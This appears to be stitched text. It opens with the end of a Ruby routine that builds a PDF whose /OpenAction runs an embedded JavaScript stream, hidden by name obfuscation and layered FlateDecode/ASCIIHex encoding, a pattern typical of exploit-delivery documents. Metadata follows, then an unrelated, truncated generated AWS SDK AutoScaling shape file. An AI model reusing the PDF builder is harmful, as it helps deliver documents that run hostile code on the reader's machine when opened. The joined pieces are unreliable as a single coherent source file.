eol = "\x0d\x0a"
endobj = "endobj" << eol
pdf = "%PDF-1.5" << eol
pdf << "%" << RandomNonASCIIString(4) << eol
xref << pdf.length
pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
xref << pdf.length
pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
xref << pdf.length
pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
xref << pdf.length
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
xref << pdf.length
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
xref << pdf.length
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
pdf << "stream" << eol
pdf << compressed << eol
pdf << "endstream" << eol
pdf << endobj
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end
| 27.171875
| 154
| 0.585969
|
f7c51c7a4aa72246a1f9f87f3a4338450a5bae65
| 168,771
|
# frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/version-3/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
module Aws::AutoScaling
# @api private
module ClientApi
include Seahorse::Model
AcceleratorCountRequest = Shapes::StructureShape.new(name: 'AcceleratorCountRequest')
AcceleratorManufacturer = Shapes::StringShape.new(name: 'AcceleratorManufacturer')
AcceleratorManufacturers = Shapes::ListShape.new(name: 'AcceleratorManufacturers')
AcceleratorName = Shapes::StringShape.new(name: 'AcceleratorName')
AcceleratorNames = Shapes::ListShape.new(name: 'AcceleratorNames')
AcceleratorTotalMemoryMiBRequest = Shapes::StructureShape.new(name: 'AcceleratorTotalMemoryMiBRequest')
AcceleratorType = Shapes::StringShape.new(name: 'AcceleratorType')
AcceleratorTypes = Shapes::ListShape.new(name: 'AcceleratorTypes')
ActiveInstanceRefreshNotFoundFault = Shapes::StructureShape.new(name: 'ActiveInstanceRefreshNotFoundFault')
Activities = Shapes::ListShape.new(name: 'Activities')
ActivitiesType = Shapes::StructureShape.new(name: 'ActivitiesType')
Activity = Shapes::StructureShape.new(name: 'Activity')
ActivityIds = Shapes::ListShape.new(name: 'ActivityIds')
ActivityType = Shapes::StructureShape.new(name: 'ActivityType')
AdjustmentType = Shapes::StructureShape.new(name: 'AdjustmentType')
AdjustmentTypes = Shapes::ListShape.new(name: 'AdjustmentTypes')
Alarm = Shapes::StructureShape.new(name: 'Alarm')
Alarms = Shapes::ListShape.new(name: 'Alarms')
AlreadyExistsFault = Shapes::StructureShape.new(name: 'AlreadyExistsFault')
AsciiStringMaxLen255 = Shapes::StringShape.new(name: 'AsciiStringMaxLen255')
AssociatePublicIpAddress = Shapes::BooleanShape.new(name: 'AssociatePublicIpAddress')
AttachInstancesQuery = Shapes::StructureShape.new(name: 'AttachInstancesQuery')
AttachLoadBalancerTargetGroupsResultType = Shapes::StructureShape.new(name: 'AttachLoadBalancerTargetGroupsResultType')
AttachLoadBalancerTargetGroupsType = Shapes::StructureShape.new(name: 'AttachLoadBalancerTargetGroupsType')
AttachLoadBalancersResultType = Shapes::StructureShape.new(name: 'AttachLoadBalancersResultType')
AttachLoadBalancersType = Shapes::StructureShape.new(name: 'AttachLoadBalancersType')
AutoScalingGroup = Shapes::StructureShape.new(name: 'AutoScalingGroup')
AutoScalingGroupDesiredCapacity = Shapes::IntegerShape.new(name: 'AutoScalingGroupDesiredCapacity')
AutoScalingGroupMaxSize = Shapes::IntegerShape.new(name: 'AutoScalingGroupMaxSize')
AutoScalingGroupMinSize = Shapes::IntegerShape.new(name: 'AutoScalingGroupMinSize')
AutoScalingGroupNames = Shapes::ListShape.new(name: 'AutoScalingGroupNames')
AutoScalingGroupNamesType = Shapes::StructureShape.new(name: 'AutoScalingGroupNamesType')
AutoScalingGroupPredictedCapacity = Shapes::IntegerShape.new(name: 'AutoScalingGroupPredictedCapacity')
AutoScalingGroupState = Shapes::StringShape.new(name: 'AutoScalingGroupState')
AutoScalingGroups = Shapes::ListShape.new(name: 'AutoScalingGroups')
AutoScalingGroupsType = Shapes::StructureShape.new(name: 'AutoScalingGroupsType')
AutoScalingInstanceDetails = Shapes::StructureShape.new(name: 'AutoScalingInstanceDetails')
AutoScalingInstances = Shapes::ListShape.new(name: 'AutoScalingInstances')
AutoScalingInstancesType = Shapes::StructureShape.new(name: 'AutoScalingInstancesType')
AutoScalingNotificationTypes = Shapes::ListShape.new(name: 'AutoScalingNotificationTypes')
AvailabilityZones = Shapes::ListShape.new(name: 'AvailabilityZones')
BareMetal = Shapes::StringShape.new(name: 'BareMetal')
BaselineEbsBandwidthMbpsRequest = Shapes::StructureShape.new(name: 'BaselineEbsBandwidthMbpsRequest')
BatchDeleteScheduledActionAnswer = Shapes::StructureShape.new(name: 'BatchDeleteScheduledActionAnswer')
BatchDeleteScheduledActionType = Shapes::StructureShape.new(name: 'BatchDeleteScheduledActionType')
BatchPutScheduledUpdateGroupActionAnswer = Shapes::StructureShape.new(name: 'BatchPutScheduledUpdateGroupActionAnswer')
BatchPutScheduledUpdateGroupActionType = Shapes::StructureShape.new(name: 'BatchPutScheduledUpdateGroupActionType')
BlockDeviceEbsDeleteOnTermination = Shapes::BooleanShape.new(name: 'BlockDeviceEbsDeleteOnTermination')
BlockDeviceEbsEncrypted = Shapes::BooleanShape.new(name: 'BlockDeviceEbsEncrypted')
BlockDeviceEbsIops = Shapes::IntegerShape.new(name: 'BlockDeviceEbsIops')
BlockDeviceEbsThroughput = Shapes::IntegerShape.new(name: 'BlockDeviceEbsThroughput')
BlockDeviceEbsVolumeSize = Shapes::IntegerShape.new(name: 'BlockDeviceEbsVolumeSize')
BlockDeviceEbsVolumeType = Shapes::StringShape.new(name: 'BlockDeviceEbsVolumeType')
BlockDeviceMapping = Shapes::StructureShape.new(name: 'BlockDeviceMapping')
BlockDeviceMappings = Shapes::ListShape.new(name: 'BlockDeviceMappings')
BurstablePerformance = Shapes::StringShape.new(name: 'BurstablePerformance')
CancelInstanceRefreshAnswer = Shapes::StructureShape.new(name: 'CancelInstanceRefreshAnswer')
CancelInstanceRefreshType = Shapes::StructureShape.new(name: 'CancelInstanceRefreshType')
CapacityForecast = Shapes::StructureShape.new(name: 'CapacityForecast')
CapacityRebalanceEnabled = Shapes::BooleanShape.new(name: 'CapacityRebalanceEnabled')
CheckpointDelay = Shapes::IntegerShape.new(name: 'CheckpointDelay')
CheckpointPercentages = Shapes::ListShape.new(name: 'CheckpointPercentages')
ClassicLinkVPCSecurityGroups = Shapes::ListShape.new(name: 'ClassicLinkVPCSecurityGroups')
CompleteLifecycleActionAnswer = Shapes::StructureShape.new(name: 'CompleteLifecycleActionAnswer')
CompleteLifecycleActionType = Shapes::StructureShape.new(name: 'CompleteLifecycleActionType')
Context = Shapes::StringShape.new(name: 'Context')
Cooldown = Shapes::IntegerShape.new(name: 'Cooldown')
CpuManufacturer = Shapes::StringShape.new(name: 'CpuManufacturer')
CpuManufacturers = Shapes::ListShape.new(name: 'CpuManufacturers')
CreateAutoScalingGroupType = Shapes::StructureShape.new(name: 'CreateAutoScalingGroupType')
CreateLaunchConfigurationType = Shapes::StructureShape.new(name: 'CreateLaunchConfigurationType')
CreateOrUpdateTagsType = Shapes::StructureShape.new(name: 'CreateOrUpdateTagsType')
CustomizedMetricSpecification = Shapes::StructureShape.new(name: 'CustomizedMetricSpecification')
DefaultInstanceWarmup = Shapes::IntegerShape.new(name: 'DefaultInstanceWarmup')
DeleteAutoScalingGroupType = Shapes::StructureShape.new(name: 'DeleteAutoScalingGroupType')
DeleteLifecycleHookAnswer = Shapes::StructureShape.new(name: 'DeleteLifecycleHookAnswer')
DeleteLifecycleHookType = Shapes::StructureShape.new(name: 'DeleteLifecycleHookType')
DeleteNotificationConfigurationType = Shapes::StructureShape.new(name: 'DeleteNotificationConfigurationType')
DeletePolicyType = Shapes::StructureShape.new(name: 'DeletePolicyType')
DeleteScheduledActionType = Shapes::StructureShape.new(name: 'DeleteScheduledActionType')
DeleteTagsType = Shapes::StructureShape.new(name: 'DeleteTagsType')
DeleteWarmPoolAnswer = Shapes::StructureShape.new(name: 'DeleteWarmPoolAnswer')
DeleteWarmPoolType = Shapes::StructureShape.new(name: 'DeleteWarmPoolType')
DescribeAccountLimitsAnswer = Shapes::StructureShape.new(name: 'DescribeAccountLimitsAnswer')
DescribeAdjustmentTypesAnswer = Shapes::StructureShape.new(name: 'DescribeAdjustmentTypesAnswer')
DescribeAutoScalingInstancesType = Shapes::StructureShape.new(name: 'DescribeAutoScalingInstancesType')
DescribeAutoScalingNotificationTypesAnswer = Shapes::StructureShape.new(name: 'DescribeAutoScalingNotificationTypesAnswer')
DescribeInstanceRefreshesAnswer = Shapes::StructureShape.new(name: 'DescribeInstanceRefreshesAnswer')
DescribeInstanceRefreshesType = Shapes::StructureShape.new(name: 'DescribeInstanceRefreshesType')
DescribeLifecycleHookTypesAnswer = Shapes::StructureShape.new(name: 'DescribeLifecycleHookTypesAnswer')
DescribeLifecycleHooksAnswer = Shapes::StructureShape.new(name: 'DescribeLifecycleHooksAnswer')
DescribeLifecycleHooksType = Shapes::StructureShape.new(name: 'DescribeLifecycleHooksType')
DescribeLoadBalancerTargetGroupsRequest = Shapes::StructureShape.new(name: 'DescribeLoadBalancerTargetGroupsRequest')
DescribeLoadBalancerTargetGroupsResponse = Shapes::StructureShape.new(name: 'DescribeLoadBalancerTargetGroupsResponse')
DescribeLoadBalancersRequest = Shapes::StructureShape.new(name: 'DescribeLoadBalancersRequest')
DescribeLoadBalancersResponse = Shapes::StructureShape.new(name: 'DescribeLoadBalancersResponse')
DescribeMetricCollectionTypesAnswer = Shapes::StructureShape.new(name: 'DescribeMetricCollectionTypesAnswer')
DescribeNotificationConfigurationsAnswer = Shapes::StructureShape.new(name: 'DescribeNotificationConfigurationsAnswer')
DescribeNotificationConfigurationsType = Shapes::StructureShape.new(name: 'DescribeNotificationConfigurationsType')
DescribePoliciesType = Shapes::StructureShape.new(name: 'DescribePoliciesType')
DescribeScalingActivitiesType = Shapes::StructureShape.new(name: 'DescribeScalingActivitiesType')
DescribeScheduledActionsType = Shapes::StructureShape.new(name: 'DescribeScheduledActionsType')
DescribeTagsType = Shapes::StructureShape.new(name: 'DescribeTagsType')
DescribeTerminationPolicyTypesAnswer = Shapes::StructureShape.new(name: 'DescribeTerminationPolicyTypesAnswer')
DescribeWarmPoolAnswer = Shapes::StructureShape.new(name: 'DescribeWarmPoolAnswer')
DescribeWarmPoolType = Shapes::StructureShape.new(name: 'DescribeWarmPoolType')
DesiredConfiguration = Shapes::StructureShape.new(name: 'DesiredConfiguration')
DetachInstancesAnswer = Shapes::StructureShape.new(name: 'DetachInstancesAnswer')
DetachInstancesQuery = Shapes::StructureShape.new(name: 'DetachInstancesQuery')
DetachLoadBalancerTargetGroupsResultType = Shapes::StructureShape.new(name: 'DetachLoadBalancerTargetGroupsResultType')
DetachLoadBalancerTargetGroupsType = Shapes::StructureShape.new(name: 'DetachLoadBalancerTargetGroupsType')
DetachLoadBalancersResultType = Shapes::StructureShape.new(name: 'DetachLoadBalancersResultType')
DetachLoadBalancersType = Shapes::StructureShape.new(name: 'DetachLoadBalancersType')
DisableMetricsCollectionQuery = Shapes::StructureShape.new(name: 'DisableMetricsCollectionQuery')
DisableScaleIn = Shapes::BooleanShape.new(name: 'DisableScaleIn')
Ebs = Shapes::StructureShape.new(name: 'Ebs')
EbsOptimized = Shapes::BooleanShape.new(name: 'EbsOptimized')
EnableMetricsCollectionQuery = Shapes::StructureShape.new(name: 'EnableMetricsCollectionQuery')
EnabledMetric = Shapes::StructureShape.new(name: 'EnabledMetric')
EnabledMetrics = Shapes::ListShape.new(name: 'EnabledMetrics')
EnterStandbyAnswer = Shapes::StructureShape.new(name: 'EnterStandbyAnswer')
EnterStandbyQuery = Shapes::StructureShape.new(name: 'EnterStandbyQuery')
EstimatedInstanceWarmup = Shapes::IntegerShape.new(name: 'EstimatedInstanceWarmup')
ExcludedInstance = Shapes::StringShape.new(name: 'ExcludedInstance')
ExcludedInstanceTypes = Shapes::ListShape.new(name: 'ExcludedInstanceTypes')
ExecutePolicyType = Shapes::StructureShape.new(name: 'ExecutePolicyType')
ExitStandbyAnswer = Shapes::StructureShape.new(name: 'ExitStandbyAnswer')
ExitStandbyQuery = Shapes::StructureShape.new(name: 'ExitStandbyQuery')
FailedScheduledUpdateGroupActionRequest = Shapes::StructureShape.new(name: 'FailedScheduledUpdateGroupActionRequest')
FailedScheduledUpdateGroupActionRequests = Shapes::ListShape.new(name: 'FailedScheduledUpdateGroupActionRequests')
Filter = Shapes::StructureShape.new(name: 'Filter')
Filters = Shapes::ListShape.new(name: 'Filters')
ForceDelete = Shapes::BooleanShape.new(name: 'ForceDelete')
GetPredictiveScalingForecastAnswer = Shapes::StructureShape.new(name: 'GetPredictiveScalingForecastAnswer')
GetPredictiveScalingForecastType = Shapes::StructureShape.new(name: 'GetPredictiveScalingForecastType')
GlobalTimeout = Shapes::IntegerShape.new(name: 'GlobalTimeout')
HealthCheckGracePeriod = Shapes::IntegerShape.new(name: 'HealthCheckGracePeriod')
HeartbeatTimeout = Shapes::IntegerShape.new(name: 'HeartbeatTimeout')
HonorCooldown = Shapes::BooleanShape.new(name: 'HonorCooldown')
IncludeDeletedGroups = Shapes::BooleanShape.new(name: 'IncludeDeletedGroups')
Instance = Shapes::StructureShape.new(name: 'Instance')
InstanceGeneration = Shapes::StringShape.new(name: 'InstanceGeneration')
InstanceGenerations = Shapes::ListShape.new(name: 'InstanceGenerations')
InstanceIds = Shapes::ListShape.new(name: 'InstanceIds')
InstanceMetadataEndpointState = Shapes::StringShape.new(name: 'InstanceMetadataEndpointState')
InstanceMetadataHttpPutResponseHopLimit = Shapes::IntegerShape.new(name: 'InstanceMetadataHttpPutResponseHopLimit')
InstanceMetadataHttpTokensState = Shapes::StringShape.new(name: 'InstanceMetadataHttpTokensState')
InstanceMetadataOptions = Shapes::StructureShape.new(name: 'InstanceMetadataOptions')
InstanceMonitoring = Shapes::StructureShape.new(name: 'InstanceMonitoring')
InstanceProtected = Shapes::BooleanShape.new(name: 'InstanceProtected')
InstanceRefresh = Shapes::StructureShape.new(name: 'InstanceRefresh')
InstanceRefreshIds = Shapes::ListShape.new(name: 'InstanceRefreshIds')
InstanceRefreshInProgressFault = Shapes::StructureShape.new(name: 'InstanceRefreshInProgressFault')
InstanceRefreshLivePoolProgress = Shapes::StructureShape.new(name: 'InstanceRefreshLivePoolProgress')
InstanceRefreshProgressDetails = Shapes::StructureShape.new(name: 'InstanceRefreshProgressDetails')
InstanceRefreshStatus = Shapes::StringShape.new(name: 'InstanceRefreshStatus')
InstanceRefreshWarmPoolProgress = Shapes::StructureShape.new(name: 'InstanceRefreshWarmPoolProgress')
InstanceRefreshes = Shapes::ListShape.new(name: 'InstanceRefreshes')
InstanceRequirements = Shapes::StructureShape.new(name: 'InstanceRequirements')
InstanceReusePolicy = Shapes::StructureShape.new(name: 'InstanceReusePolicy')
Instances = Shapes::ListShape.new(name: 'Instances')
InstancesDistribution = Shapes::StructureShape.new(name: 'InstancesDistribution')
InstancesToUpdate = Shapes::IntegerShape.new(name: 'InstancesToUpdate')
IntPercent = Shapes::IntegerShape.new(name: 'IntPercent')
InvalidNextToken = Shapes::StructureShape.new(name: 'InvalidNextToken')
LaunchConfiguration = Shapes::StructureShape.new(name: 'LaunchConfiguration')
LaunchConfigurationNameType = Shapes::StructureShape.new(name: 'LaunchConfigurationNameType')
LaunchConfigurationNames = Shapes::ListShape.new(name: 'LaunchConfigurationNames')
LaunchConfigurationNamesType = Shapes::StructureShape.new(name: 'LaunchConfigurationNamesType')
LaunchConfigurations = Shapes::ListShape.new(name: 'LaunchConfigurations')
LaunchConfigurationsType = Shapes::StructureShape.new(name: 'LaunchConfigurationsType')
LaunchTemplate = Shapes::StructureShape.new(name: 'LaunchTemplate')
LaunchTemplateName = Shapes::StringShape.new(name: 'LaunchTemplateName')
LaunchTemplateOverrides = Shapes::StructureShape.new(name: 'LaunchTemplateOverrides')
LaunchTemplateSpecification = Shapes::StructureShape.new(name: 'LaunchTemplateSpecification')
LifecycleActionResult = Shapes::StringShape.new(name: 'LifecycleActionResult')
LifecycleActionToken = Shapes::StringShape.new(name: 'LifecycleActionToken')
LifecycleHook = Shapes::StructureShape.new(name: 'LifecycleHook')
LifecycleHookNames = Shapes::ListShape.new(name: 'LifecycleHookNames')
LifecycleHookSpecification = Shapes::StructureShape.new(name: 'LifecycleHookSpecification')
LifecycleHookSpecifications = Shapes::ListShape.new(name: 'LifecycleHookSpecifications')
LifecycleHooks = Shapes::ListShape.new(name: 'LifecycleHooks')
LifecycleState = Shapes::StringShape.new(name: 'LifecycleState')
LifecycleTransition = Shapes::StringShape.new(name: 'LifecycleTransition')
LimitExceededFault = Shapes::StructureShape.new(name: 'LimitExceededFault')
LoadBalancerNames = Shapes::ListShape.new(name: 'LoadBalancerNames')
LoadBalancerState = Shapes::StructureShape.new(name: 'LoadBalancerState')
LoadBalancerStates = Shapes::ListShape.new(name: 'LoadBalancerStates')
LoadBalancerTargetGroupState = Shapes::StructureShape.new(name: 'LoadBalancerTargetGroupState')
LoadBalancerTargetGroupStates = Shapes::ListShape.new(name: 'LoadBalancerTargetGroupStates')
LoadForecast = Shapes::StructureShape.new(name: 'LoadForecast')
LoadForecasts = Shapes::ListShape.new(name: 'LoadForecasts')
LocalStorage = Shapes::StringShape.new(name: 'LocalStorage')
LocalStorageType = Shapes::StringShape.new(name: 'LocalStorageType')
LocalStorageTypes = Shapes::ListShape.new(name: 'LocalStorageTypes')
MaxGroupPreparedCapacity = Shapes::IntegerShape.new(name: 'MaxGroupPreparedCapacity')
MaxInstanceLifetime = Shapes::IntegerShape.new(name: 'MaxInstanceLifetime')
MaxNumberOfAutoScalingGroups = Shapes::IntegerShape.new(name: 'MaxNumberOfAutoScalingGroups')
MaxNumberOfLaunchConfigurations = Shapes::IntegerShape.new(name: 'MaxNumberOfLaunchConfigurations')
MaxRecords = Shapes::IntegerShape.new(name: 'MaxRecords')
MemoryGiBPerVCpuRequest = Shapes::StructureShape.new(name: 'MemoryGiBPerVCpuRequest')
MemoryMiBRequest = Shapes::StructureShape.new(name: 'MemoryMiBRequest')
Metric = Shapes::StructureShape.new(name: 'Metric')
MetricCollectionType = Shapes::StructureShape.new(name: 'MetricCollectionType')
MetricCollectionTypes = Shapes::ListShape.new(name: 'MetricCollectionTypes')
MetricDataQueries = Shapes::ListShape.new(name: 'MetricDataQueries')
MetricDataQuery = Shapes::StructureShape.new(name: 'MetricDataQuery')
MetricDimension = Shapes::StructureShape.new(name: 'MetricDimension')
MetricDimensionName = Shapes::StringShape.new(name: 'MetricDimensionName')
MetricDimensionValue = Shapes::StringShape.new(name: 'MetricDimensionValue')
MetricDimensions = Shapes::ListShape.new(name: 'MetricDimensions')
MetricGranularityType = Shapes::StructureShape.new(name: 'MetricGranularityType')
MetricGranularityTypes = Shapes::ListShape.new(name: 'MetricGranularityTypes')
MetricName = Shapes::StringShape.new(name: 'MetricName')
MetricNamespace = Shapes::StringShape.new(name: 'MetricNamespace')
MetricScale = Shapes::FloatShape.new(name: 'MetricScale')
MetricStat = Shapes::StructureShape.new(name: 'MetricStat')
MetricStatistic = Shapes::StringShape.new(name: 'MetricStatistic')
MetricType = Shapes::StringShape.new(name: 'MetricType')
MetricUnit = Shapes::StringShape.new(name: 'MetricUnit')
Metrics = Shapes::ListShape.new(name: 'Metrics')
MinAdjustmentMagnitude = Shapes::IntegerShape.new(name: 'MinAdjustmentMagnitude')
MinAdjustmentStep = Shapes::IntegerShape.new(name: 'MinAdjustmentStep')
MixedInstanceSpotPrice = Shapes::StringShape.new(name: 'MixedInstanceSpotPrice')
MixedInstancesPolicy = Shapes::StructureShape.new(name: 'MixedInstancesPolicy')
MonitoringEnabled = Shapes::BooleanShape.new(name: 'MonitoringEnabled')
NetworkInterfaceCountRequest = Shapes::StructureShape.new(name: 'NetworkInterfaceCountRequest')
NoDevice = Shapes::BooleanShape.new(name: 'NoDevice')
NonZeroIntPercent = Shapes::IntegerShape.new(name: 'NonZeroIntPercent')
NotificationConfiguration = Shapes::StructureShape.new(name: 'NotificationConfiguration')
NotificationConfigurations = Shapes::ListShape.new(name: 'NotificationConfigurations')
NotificationTargetResourceName = Shapes::StringShape.new(name: 'NotificationTargetResourceName')
NullableBoolean = Shapes::BooleanShape.new(name: 'NullableBoolean')
NullablePositiveDouble = Shapes::FloatShape.new(name: 'NullablePositiveDouble')
NullablePositiveInteger = Shapes::IntegerShape.new(name: 'NullablePositiveInteger')
NumberOfAutoScalingGroups = Shapes::IntegerShape.new(name: 'NumberOfAutoScalingGroups')
NumberOfLaunchConfigurations = Shapes::IntegerShape.new(name: 'NumberOfLaunchConfigurations')
OnDemandBaseCapacity = Shapes::IntegerShape.new(name: 'OnDemandBaseCapacity')
OnDemandPercentageAboveBaseCapacity = Shapes::IntegerShape.new(name: 'OnDemandPercentageAboveBaseCapacity')
Overrides = Shapes::ListShape.new(name: 'Overrides')
PoliciesType = Shapes::StructureShape.new(name: 'PoliciesType')
PolicyARNType = Shapes::StructureShape.new(name: 'PolicyARNType')
PolicyIncrement = Shapes::IntegerShape.new(name: 'PolicyIncrement')
PolicyNames = Shapes::ListShape.new(name: 'PolicyNames')
PolicyTypes = Shapes::ListShape.new(name: 'PolicyTypes')
PredefinedLoadMetricType = Shapes::StringShape.new(name: 'PredefinedLoadMetricType')
PredefinedMetricPairType = Shapes::StringShape.new(name: 'PredefinedMetricPairType')
PredefinedMetricSpecification = Shapes::StructureShape.new(name: 'PredefinedMetricSpecification')
PredefinedScalingMetricType = Shapes::StringShape.new(name: 'PredefinedScalingMetricType')
PredictiveScalingConfiguration = Shapes::StructureShape.new(name: 'PredictiveScalingConfiguration')
PredictiveScalingCustomizedCapacityMetric = Shapes::StructureShape.new(name: 'PredictiveScalingCustomizedCapacityMetric')
PredictiveScalingCustomizedLoadMetric = Shapes::StructureShape.new(name: 'PredictiveScalingCustomizedLoadMetric')
PredictiveScalingCustomizedScalingMetric = Shapes::StructureShape.new(name: 'PredictiveScalingCustomizedScalingMetric')
PredictiveScalingForecastTimestamps = Shapes::ListShape.new(name: 'PredictiveScalingForecastTimestamps')
PredictiveScalingForecastValues = Shapes::ListShape.new(name: 'PredictiveScalingForecastValues')
PredictiveScalingMaxCapacityBreachBehavior = Shapes::StringShape.new(name: 'PredictiveScalingMaxCapacityBreachBehavior')
PredictiveScalingMaxCapacityBuffer = Shapes::IntegerShape.new(name: 'PredictiveScalingMaxCapacityBuffer')
PredictiveScalingMetricSpecification = Shapes::StructureShape.new(name: 'PredictiveScalingMetricSpecification')
PredictiveScalingMetricSpecifications = Shapes::ListShape.new(name: 'PredictiveScalingMetricSpecifications')
PredictiveScalingMode = Shapes::StringShape.new(name: 'PredictiveScalingMode')
PredictiveScalingPredefinedLoadMetric = Shapes::StructureShape.new(name: 'PredictiveScalingPredefinedLoadMetric')
PredictiveScalingPredefinedMetricPair = Shapes::StructureShape.new(name: 'PredictiveScalingPredefinedMetricPair')
PredictiveScalingPredefinedScalingMetric = Shapes::StructureShape.new(name: 'PredictiveScalingPredefinedScalingMetric')
PredictiveScalingSchedulingBufferTime = Shapes::IntegerShape.new(name: 'PredictiveScalingSchedulingBufferTime')
ProcessNames = Shapes::ListShape.new(name: 'ProcessNames')
ProcessType = Shapes::StructureShape.new(name: 'ProcessType')
Processes = Shapes::ListShape.new(name: 'Processes')
ProcessesType = Shapes::StructureShape.new(name: 'ProcessesType')
Progress = Shapes::IntegerShape.new(name: 'Progress')
PropagateAtLaunch = Shapes::BooleanShape.new(name: 'PropagateAtLaunch')
ProtectedFromScaleIn = Shapes::BooleanShape.new(name: 'ProtectedFromScaleIn')
PutLifecycleHookAnswer = Shapes::StructureShape.new(name: 'PutLifecycleHookAnswer')
PutLifecycleHookType = Shapes::StructureShape.new(name: 'PutLifecycleHookType')
PutNotificationConfigurationType = Shapes::StructureShape.new(name: 'PutNotificationConfigurationType')
PutScalingPolicyType = Shapes::StructureShape.new(name: 'PutScalingPolicyType')
PutScheduledUpdateGroupActionType = Shapes::StructureShape.new(name: 'PutScheduledUpdateGroupActionType')
PutWarmPoolAnswer = Shapes::StructureShape.new(name: 'PutWarmPoolAnswer')
PutWarmPoolType = Shapes::StructureShape.new(name: 'PutWarmPoolType')
RecordLifecycleActionHeartbeatAnswer = Shapes::StructureShape.new(name: 'RecordLifecycleActionHeartbeatAnswer')
RecordLifecycleActionHeartbeatType = Shapes::StructureShape.new(name: 'RecordLifecycleActionHeartbeatType')
RefreshInstanceWarmup = Shapes::IntegerShape.new(name: 'RefreshInstanceWarmup')
RefreshPreferences = Shapes::StructureShape.new(name: 'RefreshPreferences')
RefreshStrategy = Shapes::StringShape.new(name: 'RefreshStrategy')
ResourceContentionFault = Shapes::StructureShape.new(name: 'ResourceContentionFault')
ResourceInUseFault = Shapes::StructureShape.new(name: 'ResourceInUseFault')
ResourceName = Shapes::StringShape.new(name: 'ResourceName')
ReturnData = Shapes::BooleanShape.new(name: 'ReturnData')
ReuseOnScaleIn = Shapes::BooleanShape.new(name: 'ReuseOnScaleIn')
ScalingActivityInProgressFault = Shapes::StructureShape.new(name: 'ScalingActivityInProgressFault')
ScalingActivityStatusCode = Shapes::StringShape.new(name: 'ScalingActivityStatusCode')
ScalingPolicies = Shapes::ListShape.new(name: 'ScalingPolicies')
ScalingPolicy = Shapes::StructureShape.new(name: 'ScalingPolicy')
ScalingPolicyEnabled = Shapes::BooleanShape.new(name: 'ScalingPolicyEnabled')
ScalingProcessQuery = Shapes::StructureShape.new(name: 'ScalingProcessQuery')
ScheduledActionNames = Shapes::ListShape.new(name: 'ScheduledActionNames')
ScheduledActionsType = Shapes::StructureShape.new(name: 'ScheduledActionsType')
ScheduledUpdateGroupAction = Shapes::StructureShape.new(name: 'ScheduledUpdateGroupAction')
ScheduledUpdateGroupActionRequest = Shapes::StructureShape.new(name: 'ScheduledUpdateGroupActionRequest')
ScheduledUpdateGroupActionRequests = Shapes::ListShape.new(name: 'ScheduledUpdateGroupActionRequests')
ScheduledUpdateGroupActions = Shapes::ListShape.new(name: 'ScheduledUpdateGroupActions')
SecurityGroups = Shapes::ListShape.new(name: 'SecurityGroups')
ServiceLinkedRoleFailure = Shapes::StructureShape.new(name: 'ServiceLinkedRoleFailure')
SetDesiredCapacityType = Shapes::StructureShape.new(name: 'SetDesiredCapacityType')
SetInstanceHealthQuery = Shapes::StructureShape.new(name: 'SetInstanceHealthQuery')
SetInstanceProtectionAnswer = Shapes::StructureShape.new(name: 'SetInstanceProtectionAnswer')
SetInstanceProtectionQuery = Shapes::StructureShape.new(name: 'SetInstanceProtectionQuery')
ShouldDecrementDesiredCapacity = Shapes::BooleanShape.new(name: 'ShouldDecrementDesiredCapacity')
ShouldRespectGracePeriod = Shapes::BooleanShape.new(name: 'ShouldRespectGracePeriod')
SkipMatching = Shapes::BooleanShape.new(name: 'SkipMatching')
SpotInstancePools = Shapes::IntegerShape.new(name: 'SpotInstancePools')
SpotPrice = Shapes::StringShape.new(name: 'SpotPrice')
StartInstanceRefreshAnswer = Shapes::StructureShape.new(name: 'StartInstanceRefreshAnswer')
StartInstanceRefreshType = Shapes::StructureShape.new(name: 'StartInstanceRefreshType')
StepAdjustment = Shapes::StructureShape.new(name: 'StepAdjustment')
StepAdjustments = Shapes::ListShape.new(name: 'StepAdjustments')
SuspendedProcess = Shapes::StructureShape.new(name: 'SuspendedProcess')
SuspendedProcesses = Shapes::ListShape.new(name: 'SuspendedProcesses')
Tag = Shapes::StructureShape.new(name: 'Tag')
TagDescription = Shapes::StructureShape.new(name: 'TagDescription')
TagDescriptionList = Shapes::ListShape.new(name: 'TagDescriptionList')
TagKey = Shapes::StringShape.new(name: 'TagKey')
TagValue = Shapes::StringShape.new(name: 'TagValue')
Tags = Shapes::ListShape.new(name: 'Tags')
TagsType = Shapes::StructureShape.new(name: 'TagsType')
TargetGroupARNs = Shapes::ListShape.new(name: 'TargetGroupARNs')
TargetTrackingConfiguration = Shapes::StructureShape.new(name: 'TargetTrackingConfiguration')
TerminateInstanceInAutoScalingGroupType = Shapes::StructureShape.new(name: 'TerminateInstanceInAutoScalingGroupType')
TerminationPolicies = Shapes::ListShape.new(name: 'TerminationPolicies')
TimestampType = Shapes::TimestampShape.new(name: 'TimestampType')
TotalLocalStorageGBRequest = Shapes::StructureShape.new(name: 'TotalLocalStorageGBRequest')
UpdateAutoScalingGroupType = Shapes::StructureShape.new(name: 'UpdateAutoScalingGroupType')
VCpuCountRequest = Shapes::StructureShape.new(name: 'VCpuCountRequest')
Values = Shapes::ListShape.new(name: 'Values')
WarmPoolConfiguration = Shapes::StructureShape.new(name: 'WarmPoolConfiguration')
WarmPoolMinSize = Shapes::IntegerShape.new(name: 'WarmPoolMinSize')
WarmPoolSize = Shapes::IntegerShape.new(name: 'WarmPoolSize')
